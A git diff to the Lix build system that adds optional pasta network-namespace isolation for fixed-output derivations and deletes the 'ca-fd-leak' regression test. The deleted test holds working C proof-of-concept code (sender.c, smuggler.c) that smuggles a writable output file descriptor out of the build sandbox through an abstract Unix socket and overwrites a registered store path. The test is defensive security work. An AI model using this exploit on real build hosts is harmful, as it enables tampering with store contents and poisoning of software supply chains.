diff --git a/doc/manual/rl-next/pasta.md b/doc/manual/rl-next/pasta.md new file mode 100644 index 000000000..1e29d93ae --- /dev/null +++ b/doc/manual/rl-next/pasta.md @@ -0,0 +1,20 @@ +--- +synopsis: "Fixed output derivations can be run using `pasta` network isolation" +cls: [3418] +issues: [fj#285] +category: "Breaking Changes" +credits: [horrors, puck] +--- + +Fixed output derivations traditionally run in the host network namespace. +On Linux this allows such derivations to communicate with other sandboxes +or the host using the abstract Unix domains socket namespace; this hasn't +been unproblematic in the past and has been used in two distinct exploits +to break out of the sandbox. For this reason fixed output derivations can +now run in a network namespace (provided by [`pasta`]), restricted to TCP +and UDP communication with the rest of the world. When enabled this could +be a breaking change and we classify it as such, even though we don't yet +enable or require such isolation by default. We may enforce this in later +releases of Lix once we have sufficient confidence that breakage is rare. + +[`pasta`]: https://passt.top/ diff --git a/meson.build b/meson.build index 703fc8684..4297703eb 100644 --- a/meson.build +++ b/meson.build @@ -376,6 +376,13 @@ endif # FIXME(Qyriad): the autoconf system checks that busybox has the "standalone" feature, indicating # that busybox sh won't run busybox applets as builtins (which would break our sandbox). +pasta_path = get_option('pasta-path') +# we can't check the pasta version because passt misuses stdio (it calls _exit() +# after printing the version, which will never print the version unless run from +# a terminal). pasta isn't mandatory yet due to high fetcher breakage potential. +# we *will* enable it in our own packaging, but distributions are not forced to. +pasta = find_program(pasta_path, required : false, native : false) + lsof = find_program('lsof', native : true) # This is how Nix does generated headers... diff --git a/meson.options b/meson.options index 679d88347..dbad8c00b 100644 --- a/meson.options +++ b/meson.options @@ -24,6 +24,10 @@ option('sandbox-shell', type : 'string', value : 'busybox', description : 'path to a statically-linked shell to use as /bin/sh in sandboxes (usually busybox)', ) +option('pasta-path', type : 'string', value : 'pasta', + description : 'path to the location of pasta (provided by passt)', +) + option('enable-tests', type : 'boolean', value : true, description : 'whether to enable tests or not (requires rapidcheck and gtest)', ) diff --git a/misc/passt.nix b/misc/passt.nix new file mode 100644 index 000000000..f8f37d87b --- /dev/null +++ b/misc/passt.nix @@ -0,0 +1,60 @@ +{ + lib, + stdenv, + buildPackages, + fetchurl, + getconf, + gitUpdater, + testers, +}: + +stdenv.mkDerivation (finalAttrs: { + pname = "passt"; + version = "2025_02_17.a1e48a0"; + + src = fetchurl { + url = "https://passt.top/passt/snapshot/passt-${finalAttrs.version}.tar.gz"; + hash = "sha256-/FUXxeYv3Lb0DiXmbS2PUzfLL5ZwHJ42tiuH7YnlljE="; + }; + + postPatch = '' + substituteInPlace Makefile --replace-fail \ + 'PAGE_SIZE=$(shell getconf PAGE_SIZE)' \ + "PAGE_SIZE=$(${stdenv.hostPlatform.emulator buildPackages} ${lib.getExe getconf} PAGE_SIZE)" + ''; + + makeFlags = [ + "prefix=${placeholder "out"}" + "VERSION=${finalAttrs.version}" + ]; + + passthru = { + tests.version = testers.testVersion { package = finalAttrs.finalPackage; }; + + updateScript = gitUpdater { url = "https://passt.top/passt"; }; + }; + + meta = with lib; { + homepage = "https://passt.top/passt/about/"; + description = "Plug A Simple Socket Transport"; + longDescription = '' + passt implements a translation layer between a Layer-2 network interface + and native Layer-4 sockets (TCP, UDP, ICMP/ICMPv6 echo) on a host. + It doesn't require any capabilities or privileges, and it can be used as + a simple replacement for Slirp. + + pasta (same binary as passt, different command) offers equivalent + functionality, for network namespaces: traffic is forwarded using a tap + interface inside the namespace, without the need to create further + interfaces on the host, hence not requiring any capabilities or + privileges. + ''; + license = [ + licenses.bsd3 # and + licenses.gpl2Plus + ]; + platforms = platforms.linux; + maintainers = with maintainers; [ _8aed ]; + mainProgram = "passt"; + }; +}) diff --git a/package.nix b/package.nix index 3230ef271..ba0cf1f9b 100644 --- a/package.nix +++ b/package.nix @@ -39,6 +39,8 @@ meson, ninja, openssl, + # FIXME: we need passt 2024_12_11.09478d5 or newer, i.e. nixos 25.05 or later + passt-lix ? __forDefaults.passt-lix, pegtl, pkg-config, python3, @@ -87,6 +89,8 @@ lix-doc = callPackage ./lix-doc/package.nix { }; build-release-notes = callPackage ./maintainers/build-release-notes.nix { }; + + passt-lix = callPackage ./misc/passt.nix { }; }, }: let @@ -195,6 +199,7 @@ stdenv.mkDerivation (finalAttrs: { # which don't actually get added to PATH. And buildInputs is correct over # nativeBuildInputs since this should be a busybox executable on the host. "-Dsandbox-shell=${lib.getExe' busybox-sandbox-shell "busybox"}" + "-Dpasta-path=${lib.getExe' passt-lix "pasta"}" ] ++ lib.optional hostPlatform.isStatic "-Denable-embedded-sandbox-shell=true" ++ lib.optional (finalAttrs.dontBuild && !lintInsteadOfBuild) "-Denable-build=false" @@ -266,6 +271,7 @@ stdenv.mkDerivation (finalAttrs: { ++ lib.optionals hostPlatform.isLinux [ libseccomp busybox-sandbox-shell + passt-lix ] ++ lib.optional internalApiDocs rapidcheck ++ lib.optional hostPlatform.isx86_64 libcpuid diff --git a/src/libstore/build/local-derivation-goal.cc b/src/libstore/build/local-derivation-goal.cc index 97de3e80a..6f47fc6b5 100644 --- a/src/libstore/build/local-derivation-goal.cc +++ b/src/libstore/build/local-derivation-goal.cc @@ -17,6 +17,7 @@ #include "namespaces.hh" #include "child.hh" #include "unix-domain-socket.hh" +#include "platform/linux.hh" #include #include @@ -1498,7 +1499,7 @@ void LocalDerivationGoal::runChild() /* N.B. it is realistic that these paths might not exist. It happens when testing Nix building fixed-output derivations within a pure derivation. */ - for (auto & path : { "/etc/resolv.conf", "/etc/services", "/etc/hosts" }) + for (auto & path : { "/etc/services", "/etc/hosts" }) if (pathExists(path)) { // Copy the actual file, not the symlink, because we don't know where // the symlink is pointing, and we don't want to chase down the entire @@ -1519,6 +1520,11 @@ void LocalDerivationGoal::runChild() copyFile(path, chrootRootDir + path, { .followSymlinks = true }); } + if (pathExists("/etc/resolv.conf")) { + const auto resolvConf = rewriteResolvConf(readFile("/etc/resolv.conf")); + writeFile(chrootRootDir + "/etc/resolv.conf", resolvConf); + } + if (settings.caFile != "" && pathExists(settings.caFile)) { // For the same reasons as above, copy the CA certificates file too. // It should be even less likely to change during the build than resolv.conf. @@ -1640,6 +1646,36 @@ void LocalDerivationGoal::runChild() if (setuid(sandboxUid()) == -1) throw SysError("setuid failed"); + if (runPasta) { + // wait for the pasta interface to appear. pasta can't signal us when + // it's done setting up the namespace, so we have to wait for a while + AutoCloseFD fd(socket(PF_INET, SOCK_DGRAM, IPPROTO_IP)); + if (!fd) throw SysError("cannot open IP socket"); + + struct ifreq ifr; + strcpy(ifr.ifr_name, LinuxLocalDerivationGoal::PASTA_NS_IFNAME); + // wait two minutes for the interface to appear. if it does not do so + // we are either grossly overloaded, or pasta startup failed somehow. + static constexpr int SINGLE_WAIT_US = 1000; + static constexpr int TOTAL_WAIT_US = 120'000'000; + for (unsigned tries = 0; ; tries++) { + if (tries > TOTAL_WAIT_US / SINGLE_WAIT_US) { + throw Error( + "sandbox network setup timed out, please check daemon logs for " + "possible error output." + ); + } else if (ioctl(fd.get(), SIOCGIFFLAGS, &ifr) == 0) { + if ((ifr.ifr_ifru.ifru_flags & IFF_UP) != 0) { + break; + } + } else if (errno == ENODEV) { + usleep(SINGLE_WAIT_US); + } else { + throw SysError("cannot get loopback interface flags"); + } + } + } + setUser = false; } #endif diff --git a/src/libstore/build/local-derivation-goal.hh b/src/libstore/build/local-derivation-goal.hh index ea7c1d4fc..05e7588ac 100644 --- a/src/libstore/build/local-derivation-goal.hh +++ b/src/libstore/build/local-derivation-goal.hh @@ -337,6 +337,12 @@ struct LocalDerivationGoal : public DerivationGoal protected: using DerivationGoal::DerivationGoal; + /** + * Whether to run pasta for network-endowed derivations. Running pasta + * currently requires actively waiting for its net-ns setup to finish. + */ + bool runPasta = false; + /** * Setup dependencies outside the sandbox. * Called in the parent nix process. @@ -346,6 +352,15 @@ protected: throw Error("sandboxing builds is not supported on this platform"); }; + /** + * Rewrite resolv.conf for use in the sandbox. Used in the linux platform + * to replace nameservers * when using pasta for fixed output derivations. + */ + virtual std::string rewriteResolvConf(std::string fromHost) + { + return fromHost; + } + /** * Create a new process that runs `openSlave` and `runChild` * On some platforms this process is created with sandboxing flags. diff --git a/src/libstore/globals.cc b/src/libstore/globals.cc index a06743f4c..291a5f98c 100644 --- a/src/libstore/globals.cc +++ b/src/libstore/globals.cc @@ -78,6 +78,9 @@ Settings::Settings() #if defined(__linux__) && defined(SANDBOX_SHELL) sandboxPaths = tokenizeString("/bin/sh=" SANDBOX_SHELL); #endif +#if defined(__linux__) && defined(PASTA_PATH) + pastaPath.setDefault(PASTA_PATH); +#endif /* chroot-like behavior from Apple's sandbox */ #if __APPLE__ diff --git a/src/libstore/globals.hh b/src/libstore/globals.hh index 4709ac715..47ceb4958 100644 --- a/src/libstore/globals.hh +++ b/src/libstore/globals.hh @@ -561,6 +561,16 @@ public: )", {"build-chroot-dirs", "build-sandbox-paths"}}; +#if defined(__linux__) + Setting pastaPath{this, "", "pasta-path", + R"( + If set to an absolute path, enables fully sandboxing fixed-output + derivations, by using `pasta` to pass network traffic between the + private network namespace. This allows for greater levels of isolation + of builds to the host. + )"}; +#endif + Setting sandboxFallback{this, true, "sandbox-fallback", "Whether to disable sandboxing when the kernel doesn't allow it."}; diff --git a/src/libstore/meson.build b/src/libstore/meson.build index 5416bd2b5..63f460bf1 100644 --- a/src/libstore/meson.build +++ b/src/libstore/meson.build @@ -197,6 +197,12 @@ if busybox.found() } endif +if pasta.found() + cpp_str_defines += { + 'PASTA_PATH': pasta.full_path(), + } +endif + cpp_args = [] foreach name, value : cpp_str_defines diff --git a/src/libstore/platform/linux.cc b/src/libstore/platform/linux.cc index 03b8bc0be..ed2f7d388 100644 --- a/src/libstore/platform/linux.cc +++ b/src/libstore/platform/linux.cc @@ -1,15 +1,25 @@ #include "build/worker.hh" #include "cgroup.hh" +#include "file-descriptor.hh" +#include "file-system.hh" #include "finally.hh" #include "gc-store.hh" +#include "processes.hh" #include "signals.hh" #include "platform/linux.hh" #include "regex.hh" +#include "strings.hh" +#include +#include #include #include #include +#if __linux__ +#include +#endif + #if HAVE_SECCOMP #include #include @@ -57,6 +67,14 @@ static void readFileRoots(const char * path, UncheckedRoots & roots) } } +LinuxLocalDerivationGoal::~LinuxLocalDerivationGoal() +{ + // pasta being left around mostly happens when builds are aborted + if (pastaPid) { + pastaPid.kill(); + } +} + void LinuxLocalStore::findPlatformRoots(UncheckedRoots & unchecked) { auto procDir = AutoCloseDir{opendir("/proc")}; @@ -832,6 +850,26 @@ void LinuxLocalDerivationGoal::prepareSandbox() } } +std::string LinuxLocalDerivationGoal::rewriteResolvConf(std::string fromHost) +{ + if (!runPasta) { + return fromHost; + } + + static constexpr auto flags = std::regex::ECMAScript | std::regex::multiline; + static std::regex lineRegex("^nameserver\\s.*$", flags); + static std::regex v4Regex("^nameserver\\s+\\d{1,3}\\.", flags); + static std::regex v6Regex("^nameserver.*:", flags); + std::string nsInSandbox = "\n"; + if (std::regex_search(fromHost, v4Regex)) { + nsInSandbox += fmt("nameserver %s\n", PASTA_HOST_IPV4); + } + if (std::regex_search(fromHost, v6Regex)) { + nsInSandbox += fmt("nameserver %s\n", PASTA_HOST_IPV6); + } + return std::regex_replace(fromHost, lineRegex, "") + nsInSandbox; +} + Pid LinuxLocalDerivationGoal::startChild(std::function openSlave) { #if HAVE_SECCOMP @@ -859,9 +897,11 @@ Pid LinuxLocalDerivationGoal::startChild(std::function openSlave) - The private network namespace ensures that the builder cannot talk to the outside world (or vice versa). It - only has a private loopback interface. (Fixed-output - derivations are not run in a private network namespace - to allow functions like fetchurl to work.) + only has a private loopback interface. If a copy of + `pasta` is available, Fixed-output derivations are run + inside a private network namespace with internet + access, otherwise they are run in the host's network + namespace, to allow functions like fetchurl to work. - The IPC namespace prevents the builder from communicating with outside processes using SysV IPC mechanisms (shared @@ -882,6 +922,10 @@ Pid LinuxLocalDerivationGoal::startChild(std::function openSlave) if (derivationType->isSandboxed()) privateNetwork = true; + // don't launch pasta unless we have a tun device. in a build sandbox we + // commonly do not, and trying to run pasta anyway naturally won't work. + runPasta = !privateNetwork && settings.pastaPath != "" && pathExists("/dev/net/tun"); + userNamespaceSync.create(); Pipe sendPid; @@ -906,7 +950,9 @@ Pid LinuxLocalDerivationGoal::startChild(std::function openSlave) ProcessOptions options; options.cloneFlags = CLONE_NEWPID | CLONE_NEWNS | CLONE_NEWIPC | CLONE_NEWUTS | CLONE_PARENT | SIGCHLD; - if (privateNetwork) + // we always want to create a new network namespace for pasta, even when + // we can't actually run it. not doing so hides bugs and impairs purity. + if (settings.pastaPath != "" || privateNetwork) options.cloneFlags |= CLONE_NEWNET; if (usingUserNamespace) options.cloneFlags |= CLONE_NEWUSER; @@ -988,6 +1034,67 @@ Pid LinuxLocalDerivationGoal::startChild(std::function openSlave) /* Signal the builder that we've updated its user namespace. */ writeFull(userNamespaceSync.writeSide.get(), "1"); + if (runPasta) { + // Bring up pasta, for handling FOD networking. We don't let it daemonize + // itself for process managements reasons and kill it manually when done. + + // TODO add a new sandbox mode flag to disable all or parts of this? + Strings args = { + // clang-format off + "--quiet", + "--foreground", + "--config-net", + "--gateway", PASTA_HOST_IPV4, + "--address", PASTA_CHILD_IPV4, "--netmask", PASTA_IPV4_NETMASK, + "--dns-forward", PASTA_HOST_IPV4, + "--gateway", PASTA_HOST_IPV6, + "--address", PASTA_CHILD_IPV6, + "--dns-forward", PASTA_HOST_IPV6, + "--ns-ifname", PASTA_NS_IFNAME, + "--no-netns-quit", + "--netns", "/proc/self/fd/0", + // clang-format on + }; + + AutoCloseFD netns(open(fmt("/proc/%i/ns/net", pid.get()).c_str(), O_RDONLY | O_CLOEXEC)); + if (!netns) { + throw SysError("failed to open netns"); + } + + AutoCloseFD userns; + if (usingUserNamespace) { + userns = + AutoCloseFD(open(fmt("/proc/%i/ns/user", pid.get()).c_str(), O_RDONLY | O_CLOEXEC)); + if (!userns) { + throw SysError("failed to open userns"); + } + args.push_back("--userns"); + args.push_back("/proc/self/fd/1"); + } + + // FIXME ideally we want a notification when pasta exits, but we cannot do + // this at present. without such support we need to busy-wait for pasta to + // set up the namespace completely and time out after a while for the case + // of pasta launch failures. pasta logs go to syslog only for now as well. + pastaPid = runProgram2({ + .program = settings.pastaPath, + .args = args, + .uid = useBuildUsers() ? std::optional(buildUser->getUID()) : std::nullopt, + .gid = useBuildUsers() ? std::optional(buildUser->getGID()) : std::nullopt, + // TODO these redirections are crimes. pasta closes all non-stdio file + // descriptors very early and lacks fd arguments for the namespaces we + // want it to join. we cannot have pasta join the namespaces via pids; + // doing so requires capabilities which pasta *also* drops very early. + .redirections = { + {.from = 0, .to = netns.get()}, + {.from = 1, .to = userns ? userns.get() : 1}, + }, + .caps = getuid() == 0 + ? std::set{CAP_SYS_ADMIN, CAP_NET_BIND_SERVICE} + : std::set{}, + }); + } + return pid; } @@ -1002,5 +1109,24 @@ void LinuxLocalDerivationGoal::killSandbox(bool getStats) } else { LocalDerivationGoal::killSandbox(getStats); } + + if (pastaPid) { + // FIXME we really want to send SIGTERM instead and wait for pasta to exit, + // but we do not have the infra for that right now. we send SIGKILL instead + // and treat exiting with that as a successful exit code until such a time. + // this is not likely to cause problems since pasta runs as the build user, + // but not inside the build sandbox. if it's killed it's either due to some + // external influence (in which case the sandboxed child will probably fail + // due to network errors, if it used the network at all) or some bug in lix + if (auto status = pastaPid.kill(); !WIFSIGNALED(status) || WTERMSIG(status) != SIGKILL) { + if (WIFSIGNALED(status)) { + throw Error("pasta killed by signal %i", WTERMSIG(status)); + } else if (WIFEXITED(status)) { + throw Error("pasta exited with code %i", WEXITSTATUS(status)); + } else { + throw Error("pasta exited with status %i", status); + } + } + } } } diff --git a/src/libstore/platform/linux.hh b/src/libstore/platform/linux.hh index c8842e09c..9960d08fe 100644 --- a/src/libstore/platform/linux.hh +++ b/src/libstore/platform/linux.hh @@ -4,6 +4,7 @@ #include "build/local-derivation-goal.hh" #include "gc-store.hh" #include "local-store.hh" +#include "processes.hh" namespace nix { @@ -41,7 +42,23 @@ class LinuxLocalDerivationGoal : public LocalDerivationGoal public: using LocalDerivationGoal::LocalDerivationGoal; + ~LinuxLocalDerivationGoal(); + + // NOTE these are all C strings because macos doesn't have constexpr std::string + // constructors, and std::string_view is a pain to turn into std::strings again. + static constexpr const char * PASTA_NS_IFNAME = "eth0"; + static constexpr const char * PASTA_HOST_IPV4 = "169.254.1.1"; + static constexpr const char * PASTA_CHILD_IPV4 = "169.254.1.2"; + static constexpr const char * PASTA_IPV4_NETMASK = "16"; + // randomly chosen 6to4 prefix, mapping the same ipv4ll as above. + // even if this id is used on the daemon host there should not be + // any collisions since ipv4ll should never be addressed by ipv6. + static constexpr const char * PASTA_HOST_IPV6 = "64:ff9b:1:4b8e:472e:a5c8:a9fe:0101"; + static constexpr const char * PASTA_CHILD_IPV6 = "64:ff9b:1:4b8e:472e:a5c8:a9fe:0102"; + private: + RunningProgram pastaPid; + /** * Create and populate chroot */ @@ -70,6 +87,7 @@ private: return true; } + std::string rewriteResolvConf(std::string fromHost) override; }; } diff --git a/tests/nixos/ca-fd-leak/default.nix b/tests/nixos/ca-fd-leak/default.nix deleted file mode 100644 index a6ae72adc..000000000 --- a/tests/nixos/ca-fd-leak/default.nix +++ /dev/null @@ -1,90 +0,0 @@ -# Nix is a sandboxed build system. But Not everything can be handled inside its -# sandbox: Network access is normally blocked off, but to download sources, a -# trapdoor has to exist. Nix handles this by having "Fixed-output derivations". -# The detail here is not important, but in our case it means that the hash of -# the output has to be known beforehand. And if you know that, you get a few -# rights: you no longer run inside a special network namespace! -# -# Now, Linux has a special feature, that not many other unices do: Abstract -# unix domain sockets! Not only that, but those are namespaced using the -# network namespace! That means that we have a way to create sockets that are -# available in every single fixed-output derivation, and also all processes -# running on the host machine! Now, this wouldn't be that much of an issue, as, -# well, the whole idea is that the output is pure, and all processes in the -# sandbox are killed before finalizing the output. What if we didn't need those -# processes at all? Unix domain sockets have a semi-known trick: you can pass -# file descriptors around! -# This makes it possible to exfiltrate a file-descriptor with write access to -# $out outside of the sandbox. And that file-descriptor can be used to modify -# the contents of the store path after it has been registered. - -{ config, ... }: - -let - pkgs = config.nodes.machine.nixpkgs.pkgs; - - # Simple C program that sends a a file descriptor to `$out` to a Unix - # domain socket. - # Compiled statically so that we can easily send it to the VM and use it - # inside the build sandbox. - sender = pkgs.runCommandWith { - name = "sender"; - stdenv = pkgs.pkgsStatic.stdenv; - } '' - $CC -static -o $out ${./sender.c} - ''; - - # Okay, so we have a file descriptor shipped out of the FOD now. But the - # Nix store is read-only, right? .. Well, yeah. But this file descriptor - # lives in a mount namespace where it is not! So even when this file exists - # in the actual Nix store, we're capable of just modifying its contents... - smuggler = pkgs.writeCBin "smuggler" (builtins.readFile ./smuggler.c); - - # The abstract socket path used to exfiltrate the file descriptor - socketName = "FODSandboxExfiltrationSocket"; -in -{ - name = "ca-fd-leak"; - - nodes.machine = - { config, lib, pkgs, ... }: - { virtualisation.writableStore = true; - nix.settings.substituters = lib.mkForce [ ]; - virtualisation.additionalPaths = [ pkgs.busybox-sandbox-shell sender smuggler pkgs.socat ]; - }; - - testScript = { nodes }: '' - start_all() - - machine.succeed("echo hello") - # Start the smuggler server - machine.succeed("${smuggler}/bin/smuggler ${socketName} >&2 &") - - # Build the smuggled derivation. - # This will connect to the smuggler server and send it the file descriptor - machine.succeed(r""" - nix-build -E ' - builtins.derivation { - name = "smuggled"; - system = builtins.currentSystem; - # look ma, no tricks! - outputHashMode = "flat"; - outputHashAlgo = "sha256"; - outputHash = builtins.hashString "sha256" "hello, world\n"; - builder = "${pkgs.busybox-sandbox-shell}/bin/sh"; - args = [ "-c" "echo \"hello, world\" > $out; ''${${sender}} ${socketName}" ]; - }' - """.strip()) - - - # Tell the smuggler server that we're done - machine.execute("echo done | ${pkgs.socat}/bin/socat - ABSTRACT-CONNECT:${socketName}") - - # Check that the file was not modified - machine.succeed(r""" - cat ./result - test "$(cat ./result)" = "hello, world" - """.strip()) - ''; - -} diff --git a/tests/nixos/ca-fd-leak/sender.c b/tests/nixos/ca-fd-leak/sender.c deleted file mode 100644 index 75e54fc8f..000000000 --- a/tests/nixos/ca-fd-leak/sender.c +++ /dev/null @@ -1,65 +0,0 @@ -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -int main(int argc, char **argv) { - - assert(argc == 2); - - int sock = socket(AF_UNIX, SOCK_STREAM, 0); - - // Set up a abstract domain socket path to connect to. - struct sockaddr_un data; - data.sun_family = AF_UNIX; - data.sun_path[0] = 0; - strcpy(data.sun_path + 1, argv[1]); - - // Now try to connect, To ensure we work no matter what order we are - // executed in, just busyloop here. - int res = -1; - while (res < 0) { - res = connect(sock, (const struct sockaddr *)&data, - offsetof(struct sockaddr_un, sun_path) - + strlen(argv[1]) - + 1); - if (res < 0 && errno != ECONNREFUSED) perror("connect"); - if (errno != ECONNREFUSED) break; - } - - // Write our message header. - struct msghdr msg = {0}; - msg.msg_control = malloc(128); - msg.msg_controllen = 128; - - // Write an SCM_RIGHTS message containing the output path. - struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg); - hdr->cmsg_len = CMSG_LEN(sizeof(int)); - hdr->cmsg_level = SOL_SOCKET; - hdr->cmsg_type = SCM_RIGHTS; - int fd = open(getenv("out"), O_RDWR | O_CREAT, 0640); - memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int)); - - msg.msg_controllen = CMSG_SPACE(sizeof(int)); - - // Write a single null byte too. - msg.msg_iov = malloc(sizeof(struct iovec)); - msg.msg_iov[0].iov_base = ""; - msg.msg_iov[0].iov_len = 1; - msg.msg_iovlen = 1; - - // Send it to the othher side of this connection. - res = sendmsg(sock, &msg, 0); - if (res < 0) perror("sendmsg"); - int buf; - - // Wait for the server to close the socket, implying that it has - // received the commmand. - recv(sock, (void *)&buf, sizeof(int), 0); -} diff --git a/tests/nixos/ca-fd-leak/smuggler.c b/tests/nixos/ca-fd-leak/smuggler.c deleted file mode 100644 index 82acf37e6..000000000 --- a/tests/nixos/ca-fd-leak/smuggler.c +++ /dev/null @@ -1,66 +0,0 @@ -#include -#include -#include -#include -#include -#include -#include - -int main(int argc, char **argv) { - - assert(argc == 2); - - int sock = socket(AF_UNIX, SOCK_STREAM, 0); - - // Bind to the socket. - struct sockaddr_un data; - data.sun_family = AF_UNIX; - data.sun_path[0] = 0; - strcpy(data.sun_path + 1, argv[1]); - int res = bind(sock, (const struct sockaddr *)&data, - offsetof(struct sockaddr_un, sun_path) - + strlen(argv[1]) - + 1); - if (res < 0) perror("bind"); - - res = listen(sock, 1); - if (res < 0) perror("listen"); - - int smuggling_fd = -1; - - // Accept the connection a first time to receive the file descriptor. - fprintf(stderr, "%s\n", "Waiting for the first connection"); - int a = accept(sock, 0, 0); - if (a < 0) perror("accept"); - - struct msghdr msg = {0}; - msg.msg_control = malloc(128); - msg.msg_controllen = 128; - - // Receive the file descriptor as sent by the smuggler. - recvmsg(a, &msg, 0); - - struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg); - while (hdr) { - if (hdr->cmsg_level == SOL_SOCKET - && hdr->cmsg_type == SCM_RIGHTS) { - - // Grab the copy of the file descriptor. - memcpy((void *)&smuggling_fd, CMSG_DATA(hdr), sizeof(int)); - } - - hdr = CMSG_NXTHDR(&msg, hdr); - } - fprintf(stderr, "%s\n", "Got the file descriptor. Now waiting for the second connection"); - close(a); - - // Wait for a second connection, which will tell us that the build is - // done - a = accept(sock, 0, 0); - fprintf(stderr, "%s\n", "Got a second connection, rewriting the file"); - // Write a new content to the file - if (ftruncate(smuggling_fd, 0)) perror("ftruncate"); - char * new_content = "Pwned\n"; - int written_bytes = write(smuggling_fd, new_content, strlen(new_content)); - if (written_bytes != strlen(new_content)) perror("write"); -} diff --git a/tests/nixos/default.nix b/tests/nixos/default.nix index 2d6eaed16..e48d47559 100644 --- a/tests/nixos/default.nix +++ b/tests/nixos/default.nix @@ -142,8 +142,6 @@ in ["i686-linux" "x86_64-linux"] (system: runNixOSTestFor system ./setuid/setuid.nix); - ca-fd-leak = runNixOSTestFor "x86_64-linux" ./ca-fd-leak; - fetch-git = runNixOSTestFor "x86_64-linux" ./fetch-git; symlinkResolvconf = runNixOSTestFor "x86_64-linux" ./symlink-resolvconf.nix; diff --git a/tests/nixos/fetchurl.nix b/tests/nixos/fetchurl.nix index 97365d053..130af0262 100644 --- a/tests/nixos/fetchurl.nix +++ b/tests/nixos/fetchurl.nix @@ -52,7 +52,7 @@ in security.pki.certificateFiles = [ "${goodCert}/cert.pem" ]; - networking.hosts."127.0.0.1" = [ "good" "bad" ]; + networking.hosts."192.168.1.1" = [ "good" "bad" ]; virtualisation.writableStore = true;